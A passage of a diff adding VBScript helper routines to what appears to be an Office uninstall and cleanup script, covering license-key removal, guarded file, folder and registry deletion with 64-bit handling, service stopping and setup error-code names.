+        Set oProductInstances = oWmiLocal.ExecQuery("SELECT ID, ApplicationId, PartialProductKey, Name, ProductKeyID FROM SoftwareLicensingProduct WHERE ApplicationId = '" & OfficeAppId & "' " & "AND PartialProductKey <> NULL")
+    Else
+        Set oProductInstances = oWmiLocal.ExecQuery("SELECT ID, ApplicationId, PartialProductKey, Name, ProductKeyID FROM OfficeSoftwareProtectionProduct WHERE ApplicationId = '" & OfficeAppId & "' " & "AND PartialProductKey <> NULL")
+    End If
+
+    ' Remove all licenses
+    For Each pi in oProductInstances
+        If NOT IsNull(pi) Then
+            pi.UninstallProductKey( pi.ProductKeyID)
+        End If
+    Next 'pi
+
+End Sub 'CleanOSPP
+'=======================================================================================================
+
+
+'Create a backup copy of the file in the ScrubDir then delete the file
+Sub CopyAndDeleteFile(sFile)
+    Dim File
+
+    'Error handling inlined
+    On Error Resume Next
+    If oFso.FileExists(sFile) Then
+        Set File = oFso.GetFile(sFile)
+        If Not oFso.FolderExists(sScrubDir & "\" & File.ParentFolder.Name) Then oFso.CreateFolder sScrubDir & "\" & File.ParentFolder.Name
+        If Not fDetectOnly Then
+            LogOnly " - Backing up file: " & sFile
+            oFso.CopyFile sFile,sScrubDir & "\" & File.ParentFolder.Name & "\" & File.Name,True : CheckError "CopyAndDeleteFile"
+            Set File = Nothing
+            DeleteFile(sFile)
+        Else
+            LogOnly " - Simulate CopyAndDelete file: " & sFile
+        End If
+    End If 'oFso.FileExists
+End Sub 'CopyAndDeleteFile
+'=======================================================================================================
+
+'Wrapper to delete a file
+Sub DeleteFile(sFile)
+    Dim File
+    Dim sFileName, sNewPath
+
+    On Error Resume Next
+
+    If dictionaryKeepFolder.Exists(LCase(sFile)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFile
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFile
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepFolder.Exists(LCase(Wow64Folder(sFile))) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFile
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFile
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+        End If
+    End If
+
+    If oFso.FileExists(sFile) Then
+        LogOnly " - Delete file: " & sFile
+        If Not fDetectOnly Then oFso.DeleteFile sFile,True
+        If Err <> 0 Then
+            CheckError "DeleteFile"
+            If fForce Then
+                'Try to move the file and delete from there
+                Set File = oFso.GetFile(sFile)
+                sFileName = File.Name
+                sNewPath = sScrubDir & "\ScrubTmp"
+                Set File = Nothing
+                If Not oFso.FolderExists(sNewPath) Then oFso.CreateFolder(sNewPath)
+                'Move the file
+                LogOnly " - Move file to: " & sNewPath & "\" & sFileName
+                oFso.MoveFile sFile,sNewPath & "\" & sFileName
+                If Err <> 0 Then
+                    CheckError "DeleteFile (move)"
+                End If 'Err <> 0
+            Else
+                fRebootRequired = True
+            End If 'fForce
+        End If 'Err <> 0
+    End If 'oFso.FileExists
+End Sub 'DeleteFile
+'=======================================================================================================
+
+'64 bit aware wrapper to return the requested folder
+Function GetFolderPath(sPath)
+    GetFolderPath = True
+    If oFso.FolderExists(sPath) Then Exit Function
+    If f64 AND oFso.FolderExists(Wow64Folder(sPath)) Then
+        sPath = Wow64Folder(sPath)
+        Exit Function
+    End If
+    GetFolderPath = False
+End Function 'GetFolderPath
+'=======================================================================================================
+
+'Enumerates subfolder names of a folder and returns True if subfolders exist
+Function EnumFolderNames (sFolder, arrSubFolders)
+    Dim Folder, Subfolder
+    Dim sSubFolders
+
+    If oFso.FolderExists(sFolder) Then
+        Set Folder = oFso.GetFolder(sFolder)
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Name & ","
+        Next 'Subfolder
+    End If
+    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        Set Folder = oFso.GetFolder(Wow64Folder(sFolder))
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Name & ","
+        Next 'Subfolder
+    End If
+    If Len(sSubFolders)>0 Then arrSubFolders = RemoveDuplicates(Split(Left(sSubFolders,Len(sSubFolders)-1),","))
+    EnumFolderNames = Len(sSubFolders)>0
+End Function 'EnumFolderNames
+'=======================================================================================================
+
+'Enumerates subfolders of a folder and returns True if subfolders exist
+Function EnumFolders (sFolder, arrSubFolders)
+    Dim Folder, Subfolder
+    Dim sSubFolders
+
+    If oFso.FolderExists(sFolder) Then
+        Set Folder = oFso.GetFolder(sFolder)
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Path & ","
+        Next 'Subfolder
+    End If
+    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        Set Folder = oFso.GetFolder(Wow64Folder(sFolder))
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Path & ","
+        Next 'Subfolder
+    End If
+    If Len(sSubFolders)>0 Then arrSubFolders = RemoveDuplicates(Split(Left(sSubFolders,Len(sSubFolders)-1),","))
+    EnumFolders = Len(sSubFolders)>0
+End Function 'EnumFolders
+'=======================================================================================================
+
+Sub GetMseFolderStructure (Folder)
+    Dim SubFolder
+
+    For Each SubFolder in Folder.SubFolders
+        ReDim Preserve arrMseFolders(UBound(arrMseFolders)+1)
+        arrMseFolders(UBound(arrMseFolders)) = SubFolder.Path
+        GetMseFolderStructure SubFolder
+    Next 'SubFolder
+End Sub 'GetMseFolderStructure
+'=======================================================================================================
+
+'Wrapper to delete a folder
+Sub DeleteFolder(sFolder)
+    Dim Folder
+    Dim sDelFolder, sFolderName, sNewPath
+
+    'Ensure trailing "\"
+    sFolder = sFolder & "\"
+    While InStr(sFolder,"\\")>0
+        sFolder = Replace(sFolder,"\\","\")
+    Wend
+
+    If dictionaryKeepFolder.Exists(LCase(sFolder)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFolder
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFolder
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepFolder.Exists(LCase(Wow64Folder(sFolder))) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFolder
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFolder
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+        End If
+    End If
+
+    'Strip trailing "\"
+    If Len(sFolder) > 1 Then
+        sFolder = Left(sFolder,Len(sFolder)-1)
+    End If
+
+    On Error Resume Next
+    If oFso.FolderExists(sFolder) Then
+        sDelFolder = sFolder
+    ElseIf f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        sDelFolder = Wow64Folder(sFolder)
+    Else
+        Exit Sub
+    End If
+    If Not fDetectOnly Then
+        LogOnly " - Delete folder: " & sDelFolder
+        oFso.DeleteFolder sDelFolder,True
+    Else
+        LogOnly " - Simulate delete folder: " & sDelFolder
+    End If
+    If Err <> 0 Then
+        CheckError "DeleteFolder"
+        'Try to move the folder and delete from there
+        Set Folder = oFso.GetFolder(sDelFolder)
+        sFolderName = Folder.Name
+        sNewPath = sScrubDir & "\ScrubTmp"
+        Set Folder = Nothing
+        'Ensure we stay within the same drive
+        If Not oFso.FolderExists(sNewPath) Then oFso.CreateFolder(sNewPath)
+        'Move the folder
+        LogOnly " - Moving folder to: " & sNewPath & "\" & sFolderName
+        oFso.MoveFolder sFolder,sNewPath & "\" & sFolderName
+        If Err <> 0 Then
+            CheckError "DeleteFolder (move)"
+        End If 'Err <> 0
+    End If 'Err <> 0
+End Sub 'DeleteFolder
+'=======================================================================================================
+
+'Delete empty folder structures
+Sub DeleteEmptyFolders
+    Dim Folder
+    Dim sFolder
+
+    ' cosmetic' task don't fail on error
+    On Error Resume Next
+    If Not IsArray(arrDeleteFolders) Then Exit Sub
+    Log vbCrLf & "Empty Folder Cleanup"
+    For Each sFolder in arrDeleteFolders
+        If oFso.FolderExists(sFolder) Then
+            Set Folder = oFso.GetFolder(sFolder)
+            If CBool(Folder.Attributes AND 1024) Then
+                'exclude protected folder
+            Else
+                If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
+                    Set Folder = Nothing
+                    SmartDeleteFolder sFolder
+                End If
+            End If
+        End If
+    Next 'sFolder
+    CheckError "DeleteEmptyFolders"
+    On Error Goto 0
+End Sub 'DeleteEmptyFolders
+'=======================================================================================================
+
+'Delete indivdual empty folder structures
+Sub DeleteEmptyFolder (sFolder)
+    Dim Folder
+
+    ' cosmetic' task don't fail on error
+    On Error Resume Next
+    If oFso.FolderExists(sFolder) Then
+        Set Folder = oFso.GetFolder(sFolder)
+        If CBool(Folder.Attributes AND 1024) Then
+            'exclude protected folder
+        Else
+            If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
+                Set Folder = Nothing
+                SmartDeleteFolder sFolder
+            End If
+        End If
+    End If
+
+    CheckError "DeleteEmptyFolder"
+    On Error Goto 0
+End Sub 'DeleteEmptyFolder
+'=======================================================================================================
+
+'Wrapper to delete a folder and remove the empty parent folder structure
+Sub SmartDeleteFolder(sFolder)
+    If oFso.FolderExists(sFolder) Then
+        If Not fDetectOnly Then
+            LogOnly "  Request SmartDelete for folder: " & sFolder
+            SmartDeleteFolderEx sFolder
+        Else
+            LogOnly "  Simulate request SmartDelete for folder: " & sFolder
+        End If
+    End If
+    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        If Not fDetectOnly Then
+            LogOnly "Request SmartDelete for folder: " & Wow64Folder(sFolder)
+            SmartDeleteFolderEx Wow64Folder(sFolder)
+        Else
+            LogOnly "Simulate request SmartDelete for folder: " & Wow64Folder(sFolder)
+        End If
+    End If
+End Sub 'SmartDeleteFolder
+'=======================================================================================================
+
+'Executes the folder delete operation
+Sub SmartDeleteFolderEx(sFolder)
+    Dim Folder
+
+    On Error Resume Next
+    DeleteFolder sFolder : CheckError "SmartDeleteFolderEx"
+    On Error Goto 0
+    Set Folder = oFso.GetFolder(oFso.GetParentFolderName(sFolder))
+    If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then SmartDeleteFolderEx(Folder.Path)
+End Sub 'SmartDeleteFolderEx
+'=======================================================================================================
+
+'Adds the folder structure to the 'KeepFolder' dictionary
+Sub AddKeepFolder(sPath)
+
+    Dim Folder
+
+    'Ensure trailing "\"
+    sPath = LCase(sPath) & "\"
+    While InStr(sPath,"\\")>0
+        sPath = Replace(sPath,"\\","\")
+    Wend
+
+    If NOT dictionaryKeepFolder.Exists (sPath) Then
+        dictionaryKeepFolder.Add sPath,sPath
+    Else
+        Exit Sub
+    End If
+    sPath = LCase(oFso.GetParentFolderName(sPath)) & "\"
+    If oFso.FolderExists(sPath) Then AddKeepFolder(sPath)
+End Sub
+'=======================================================================================================
+
+'Handles additional folder-path operations on 64 bit environments
+Function Wow64Folder(sFolder)
+    If LCase(Left(sFolder,Len(sWinDir & "\System32"))) = LCase(sWinDir & "\System32") Then
+        Wow64Folder = sWinDir & "\syswow64" & Right(sFolder,Len(sFolder)-Len(sSys32Dir))
+    ElseIf LCase(Left(sFolder,Len(sProgramFiles))) = LCase(sProgramFiles) Then
+        Wow64Folder = sProgramFilesX86 & Right(sFolder,Len(sFolder)-Len(sProgramFiles))
+    Else
+        Wow64Folder = "?" 'Return invalid string to ensure the folder cannot exist
+    End If
+End Function 'Wow64Folder
+'=======================================================================================================
+
+Function HiveString(hDefKey)
+    On Error Resume Next
+    Select Case hDefKey
+        Case HKCR : HiveString = "HKEY_CLASSES_ROOT"
+        Case HKCU : HiveString = "HKEY_CURRENT_USER"
+        Case HKLM : HiveString = "HKEY_LOCAL_MACHINE"
+        Case HKU  : HiveString = "HKEY_USERS"
+        Case Else : HiveString = hDefKey
+    End Select
+End Function
+'=======================================================================================================
+
+Function RegKeyExists(hDefKey,sSubKeyName)
+    Dim arrKeys
+    RegKeyExists = False
+    If oReg.EnumKey(hDefKey,sSubKeyName,arrKeys) = 0 Then RegKeyExists = True
+End Function
+'=======================================================================================================
+
+Function RegValExists(hDefKey,sSubKeyName,sName)
+    Dim arrValueTypes, arrValueNames
+    Dim i
+
+    RegValExists = False
+    If Not RegKeyExists(hDefKey,sSubKeyName) Then Exit Function
+    If sName = "" Then
+        RegValExists = True
+        Exit Function
+    End If
+    If oReg.EnumValues(hDefKey,sSubKeyName,arrValueNames,arrValueTypes) = 0 AND IsArray(arrValueNames) Then
+        For i = 0 To UBound(arrValueNames)
+            If LCase(arrValueNames(i)) = Trim(LCase(sName)) Then RegValExists = True
+        Next
+    End If 'oReg.EnumValues
+End Function
+'=======================================================================================================
+
+'Read the value of a given registry entry
+Function RegReadValue(hDefKey, sSubKeyName, sName, sValue, sType)
+    Dim RetVal
+    Dim Item
+    Dim arrValues
+
+    Select Case UCase(sType)
+        Case "1","REG_SZ"
+            RetVal = oReg.GetStringValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case "2","REG_EXPAND_SZ"
+            RetVal = oReg.GetExpandedStringValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetExpandedStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case "7","REG_MULTI_SZ"
+            RetVal = oReg.GetMultiStringValue(hDefKey,sSubKeyName,sName,arrValues)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetMultiStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,arrValues)
+            If RetVal = 0 Then sValue = Join(arrValues,chr(34))
+
+        Case "4","REG_DWORD"
+            RetVal = oReg.GetDWORDValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then
+                RetVal = oReg.GetDWORDValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+            End If
+
+        Case "3","REG_BINARY"
+            RetVal = oReg.GetBinaryValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetBinaryValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case "11","REG_QWORD"
+            RetVal = oReg.GetQWORDValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetQWORDValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case Else
+            RetVal = -1
+    End Select 'sValue
+
+    RegReadValue = (RetVal = 0)
+End Function 'RegReadValue
+'=======================================================================================================
+
+'Enumerate a registry key to return all values
+Function RegEnumValues(hDefKey,sSubKeyName,arrNames, arrTypes)
+    Dim RetVal, RetVal64
+    Dim arrNames32, arrNames64, arrTypes32, arrTypes64
+
+    If f64 Then
+        RetVal = oReg.EnumValues(hDefKey,sSubKeyName,arrNames32,arrTypes32)
+        RetVal64 = oReg.EnumValues(hDefKey,Wow64Key(hDefKey, sSubKeyName),arrNames64,arrTypes64)
+        If (RetVal = 0) AND (Not RetVal64 = 0) AND IsArray(arrNames32) AND IsArray(arrTypes32) Then
+            arrNames = arrNames32
+            arrTypes = arrTypes32
+        End If
+        If (Not RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrNames64) AND IsArray(arrTypes64) Then
+            arrNames = arrNames64
+            arrTypes = arrTypes64
+        End If
+        If (RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrNames32) AND IsArray(arrNames64) AND IsArray(arrTypes32) AND IsArray(arrTypes64) Then
+            arrNames = RemoveDuplicates(Split((Join(arrNames32,"\") & "\" & Join(arrNames64,"\")),"\"))
+            arrTypes = RemoveDuplicates(Split((Join(arrTypes32,"\") & "\" & Join(arrTypes64,"\")),"\"))
+        End If
+    Else
+        RetVal = oReg.EnumValues(hDefKey,sSubKeyName,arrNames,arrTypes)
+    End If 'f64
+    RegEnumValues = ((RetVal = 0) OR (RetVal64 = 0)) AND IsArray(arrNames) AND IsArray(arrTypes)
+End Function 'RegEnumValues
+'=======================================================================================================
+
+'Enumerate a registry key to return all subkeys
+Function RegEnumKey(hDefKey,sSubKeyName,arrKeys)
+    Dim RetVal, RetVal64
+    Dim arrKeys32, arrKeys64
+
+    If f64 Then
+        RetVal = oReg.EnumKey(hDefKey,sSubKeyName,arrKeys32)
+        RetVal64 = oReg.EnumKey(hDefKey,Wow64Key(hDefKey, sSubKeyName),arrKeys64)
+        If (RetVal = 0) AND (Not RetVal64 = 0) AND IsArray(arrKeys32) Then arrKeys = arrKeys32
+        If (Not RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrKeys64) Then arrKeys = arrKeys64
+        If (RetVal = 0) AND (RetVal64 = 0) Then
+            If IsArray(arrKeys32) AND IsArray (arrKeys64) Then
+                arrKeys = RemoveDuplicates(Split((Join(arrKeys32,"\") & "\" & Join(arrKeys64,"\")),"\"))
+            ElseIf IsArray(arrKeys64) Then
+                arrKeys = arrKeys64
+            Else
+                arrKeys = arrKeys32
+            End If
+        End If
+    Else
+        RetVal = oReg.EnumKey(hDefKey,sSubKeyName,arrKeys)
+    End If 'f64
+    RegEnumKey = ((RetVal = 0) OR (RetVal64 = 0)) AND IsArray(arrKeys)
+End Function 'RegEnumKey
+'=======================================================================================================
+
+'Wrapper around oReg.DeleteValue to handle 64 bit
+Sub RegDeleteValue(hDefKey, sSubKeyName, sName, fRegMultiSZ)
+    Dim sWow64Key,sRealName
+    Dim iRetVal
+
+    sRealName = sName
+    If UCase(sName) = "(DEFAULT)" Then sRealName = ""
+
+    If dictionaryKeepReg.Exists(LCase(sSubKeyName & sName)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepReg.Exists(LCase(Wow64Key(hDefKey, sSubKeyName) & sName)) Then
+            If NOT fForce Then
+                LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+                Exit Sub
+            Else
+                LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+            End If
+        End If
+    End If
+
+    If RegValExists(hDefKey,sSubKeyName,sRealName) Then
+        On Error Resume Next
+        If RegReadValue(hDefKey,sSubKeyName,sName,sValue,"REG_MULTI_SZ") Then
+            LogOnly " - Disallowing unsafe delete of REG_MULTI_SZ: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+            Exit Sub
+        End If
+        If Not fDetectOnly Then
+            LogOnly " - Delete registry value: " & HiveString(hDefKey) & "\" & sSubKeyName & " -> " & sName
+            iRetVal = 0
+            iRetVal = oReg.DeleteValue(hDefKey, sSubKeyName, sRealName)
+            CheckError "RegDeleteValue"
+            If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
+        Else
+            LogOnly " - Simulate delete registry value: " & HiveString(hDefKey) & "\" & sSubKeyName & " -> " & sName
+        End If
+        On Error Goto 0
+    End If 'RegValExists
+    If f64 Then
+        sWow64Key = Wow64Key(hDefKey, sSubKeyName)
+        If RegValExists(hDefKey,sWow64Key,sRealName) Then
+            On Error Resume Next
+            If RegReadValue(hDefKey,sSubKeyName,sName,sValue,"REG_MULTI_SZ") Then
+                LogOnly " - Disallowing unsafe delete of REG_MULTI_SZ: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+                Exit Sub
+            End If
+            If Not fDetectOnly Then
+            LogOnly " - Delete registry value: " & HiveString(hDefKey) & "\" & sWow64Key & " -> " & sName
+                iRetVal = 0
+                iRetVal = oReg.DeleteValue(hDefKey, sWow64Key, sRealName)
+                CheckError "RegDeleteValue"
+                If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
+            Else
+                LogOnly " - Simulate delete registry value: " & HiveString(hDefKey) & "\" & sWow64Key & " -> " & sName
+            End If
+            On Error Goto 0
+        End If 'RegKeyExists
+    End If
+End Sub 'RegDeleteValue
+'=======================================================================================================
+
+'Wrappper around RegDeleteKeyEx to handle 64bit scenrios
+Sub RegDeleteKey(hDefKey, sSubKeyName)
+    Dim sWow64Key
+
+    'Ensure trailing "\"
+    sSubKeyName = sSubKeyName & "\"
+    While InStr(sSubKeyName,"\\")>0
+        sSubKeyName = Replace(sSubKeyName,"\\","\")
+    Wend
+
+    If dictionaryKeepReg.Exists(LCase(sSubKeyName)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepReg.Exists(LCase(Wow64Key(hDefKey, sSubKeyName))) Then
+            If NOT fForce Then
+                LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName
+                Exit Sub
+            Else
+                LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+            End If
+        End If
+    End If
+
+    If Len(sSubKeyName) > 1 Then
+        'Strip of trailing "\"
+        sSubKeyName = Left(sSubKeyName,Len(sSubKeyName)-1)
+    End If
+
+    If RegKeyExists(hDefKey, sSubKeyName) Then
+        If Not fDetectOnly Then
+            LogOnly " - Delete registry key: " & HiveString(hDefKey) & "\" & sSubKeyName
+            On Error Resume Next
+            RegDeleteKeyEx hDefKey, sSubKeyName
+            On Error Goto 0
+        Else
+            LogOnly " - Simulate delete registry key: " & HiveString(hDefKey) & "\" & sSubKeyName
+        End If
+    End If 'RegKeyExists
+    If f64 Then
+        sWow64Key = Wow64Key(hDefKey, sSubKeyName)
+        If RegKeyExists(hDefKey,sWow64Key) Then
+            If Not fDetectOnly Then
+                LogOnly " - Delete registry key: " & HiveString(hDefKey) & "\" & sWow64Key
+                On Error Resume Next
+                RegDeleteKeyEx hDefKey, sWow64Key
+                On Error Goto 0
+            Else
+                LogOnly " - Simulate delete registry key: " & HiveString(hDefKey) & "\" & sWow64Key
+            End If
+        End If 'RegKeyExists
+    End If
+End Sub 'RegDeleteKey
+'=======================================================================================================
+
+'Recursively delete a registry structure
+Sub RegDeleteKeyEx(hDefKey, sSubKeyName)
+    Dim arrSubkeys
+    Dim sSubkey
+    Dim iRetVal
+
+    On Error Resume Next
+    oReg.EnumKey hDefKey, sSubKeyName, arrSubkeys
+    If IsArray(arrSubkeys) Then
+        For Each sSubkey In arrSubkeys
+            RegDeleteKeyEx hDefKey, sSubKeyName & "\" & sSubkey
+        Next
+    End If
+    If Not fDetectOnly Then
+        iRetVal = 0
+        iRetVal = oReg.DeleteKey(hDefKey,sSubKeyName)
+        If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
+    End If
+End Sub 'RegDeleteKeyEx
+'=======================================================================================================
+
+'Return the alternate regkey location on 64bit environment
+Function Wow64Key(hDefKey, sSubKeyName)
+    Dim iPos
+
+    Select Case hDefKey
+        Case HKCU
+            If Left(sSubKeyName,17) = "Software\Classes\" Then
+                Wow64Key = Left(sSubKeyName,17) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-17)
+            Else
+                iPos = InStr(sSubKeyName,"\")
+                Wow64Key = Left(sSubKeyName,iPos) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-iPos)
+            End If
+
+        Case HKLM
+            If Left(sSubKeyName,17) = "Software\Classes\" Then
+                Wow64Key = Left(sSubKeyName,17) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-17)
+            Else
+                iPos = InStr(sSubKeyName,"\")
+                Wow64Key = Left(sSubKeyName,iPos) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-iPos)
+            End If
+
+        Case Else
+            Wow64Key = "Wow6432Node\" & sSubKeyName
+
+    End Select 'hDefKey
+End Function 'Wow64Key
+'=======================================================================================================
+
+'Remove duplicate entries from a one dimensional array
+Function RemoveDuplicates(Array)
+    Dim Item
+    Dim oDic
+
+    Set oDic = CreateObject("Scripting.Dictionary")
+    For Each Item in Array
+        If Not oDic.Exists(Item) Then oDic.Add Item,Item
+    Next 'Item
+    RemoveDuplicates = oDic.Keys
+End Function 'RemoveDuplicates
+'=======================================================================================================
+
+'End running instances of setup
+Sub EndCurrentInstalls ()
+    Dim Processes, Process
+    Dim iRet
+
+    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name like '%setup%' OR Name like '%install%'")
+    For Each Process in Processes
+        Log " - End process " & Process.Name
+        iRet = Process.Terminate()
+        CheckError "EndCurrentInstalls: " & "Process.Name"
+    Next 'Process
+    StopService "msiserver"
+End Sub 'EndCurrentInstalls
+'=======================================================================================================
+
+'Uses WMI to stop a service
+Function StopService(sService)
+    Dim Services, Service
+    Dim sQuery
+    Dim iRet
+
+    On Error Resume Next
+
+    iRet = 0
+    sQuery = "Select * From Win32_Service Where Name='" & sService & "'"
+    Set Services = oWmiLocal.Execquery(sQuery)
+    'Stop the service
+    For Each Service in Services
+        If UCase(Service.State) = "STARTED" Then iRet = Service.StopService
+        If UCase(Service.State) = "RUNNING" Then iRet = Service.StopService
+
+    Next 'Service
+    StopService = (iRet = 0)
+End Function 'StopService
+'=======================================================================================================
+
+'Delete a service
+Sub DeleteService(sService)
+    Dim Services, Service, Processes, Process
+    Dim sQuery, sStates
+    Dim iRet
+
+    On Error Resume Next
+
+    sStates = "STARTED;RUNNING"
+    sQuery = "Select * From Win32_Service Where Name='" & sService & "'"
+    Set Services = oWmiLocal.Execquery(sQuery)
+
+    'Stop and delete the service
+    For Each Service in Services
+        Log " Found service " & sService & " in state " & Service.State
+        If InStr(sStates,UCase(Service.State))>0 Then iRet = Service.StopService()
+        'Ensure no more instances of the service are running
+        Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name='" & sService & ".exe'")
+        For Each Process in Processes
+            iRet = Process.Terminate()
+        Next 'Process
+        If Not fDetectOnly Then
+            Log " - Deleting Service -> " & sService
+            iRet = Service.Delete()
+        Else
+            Log " - Simulate deleting Service -> " & sService
+        End If
+    Next 'Service
+    Set Services = Nothing
+    Err.Clear
+
+End Sub 'DeleteService
+'=======================================================================================================
+
+'Translation for setup.exe error codes
+Function SetupRetVal(RetVal)
+    Select Case RetVal
+        Case 0 : SetupRetVal = "Success"
+        Case 30001,1 : SetupRetVal = "AbstractMethod"
+        Case 30002,2 : SetupRetVal = "ApiProhibited"
+        Case 30003,3  : SetupRetVal = "AlreadyImpersonatingAUser"
+        Case 30004,4 : SetupRetVal = "AlreadyInitialized"
+        Case 30005,5 : SetupRetVal = "ArgumentNullException"
+        Case 30006,6 : SetupRetVal = "AssertionFailed"
+        Case 30007,7 : SetupRetVal = "CABFileAddFailed"
+        Case 30008,8 : SetupRetVal = "CommandFailed"
+        Case 30009,9 : SetupRetVal = "ConcatenationFailed"
+        Case 30010,10 : SetupRetVal = "CopyFailed"
+        Case 30011,11 : SetupRetVal = "CreateEventFailed"
+        Case 30012,12 : SetupRetVal = "CustomizationPatchNotFound"
+        Case 30013,13 : SetupRetVal = "CustomizationPatchNotApplicable"
+        Case 30014,14 : SetupRetVal = "DuplicateDefinition"
+        Case 30015,15 : SetupRetVal = "ErrorCodeOnly - Passthrough for Win32 error"
+        Case 30016,16 : SetupRetVal = "ExceptionNotThrown"
+        Case 30017,17 : SetupRetVal = "FailedToImpersonateUser"
+        Case 30018,18 : SetupRetVal = "FailedToInitializeFlexDataSource"
+        Case 30019,19 : SetupRetVal = "FailedToStartClassFactories"
+        Case 30020,20 : SetupRetVal = "FileNotFound"
+        Case 30021,21 : SetupRetVal = "FileNotOpen"
+        Case 30022,22 : SetupRetVal = "FlexDialogAlreadyInitialized"
+        Case 30023,23 : SetupRetVal = "HResultOnly - Passthrough for HRESULT errors"
+        Case 30024,24 : SetupRetVal = "HWNDNotFound"
+        Case 30025,25 : SetupRetVal = "IncompatibleCacheAction"
+        Case 30026,26 : SetupRetVal = "IncompleteProductAddOns"
+        Case 30027,27 : SetupRetVal = "InstalledProductStateCorrupt"
+        Case 30028,28 : SetupRetVal = "InsufficientBuffer"
+        Case 30029,29 : SetupRetVal = "InvalidArgument"
+        Case 30030,30 : SetupRetVal = "InvalidCDKey"
+        Case 30031,31 : SetupRetVal = "InvalidColumnType"
+        Case 30032,31 : SetupRetVal = "InvalidConfigAddLanguage"
+        Case 30033,33 : SetupRetVal = "InvalidData"
+        Case 30034,34 : SetupRetVal = "InvalidDirectory"
+        Case 30035,35 : SetupRetVal = "InvalidFormat"
+        Case 30036,36 : SetupRetVal = "InvalidInitialization"
+        Case 30037,37 : SetupRetVal = "InvalidMethod"
+        Case 30038,38 : SetupRetVal = "InvalidOperation"
+        Case 30039,39 : SetupRetVal = "InvalidParameter"
+        Case 30040,40 : SetupRetVal = "InvalidProductFromARP"
+        Case 30041,41 : SetupRetVal = "InvalidProductInConfigXml"
+        Case 30042,42 : SetupRetVal = "InvalidReference"
+        Case 30043,43 : SetupRetVal = "InvalidRegistryValueType"
+        Case 30044,44 : SetupRetVal = "InvalidXMLProperty"
+        Case 30045,45 : SetupRetVal = "InvalidMetadataFile"
+        Case 30046,46 : SetupRetVal = "LogNotInitialized"
+        Case 30047,47 : SetupRetVal = "LogAlreadyInitialized"
+        Case 30048,48 : SetupRetVal = "MissingXMLNode"
+        Case 30049,49 : SetupRetVal = "MsiTableNotFound"
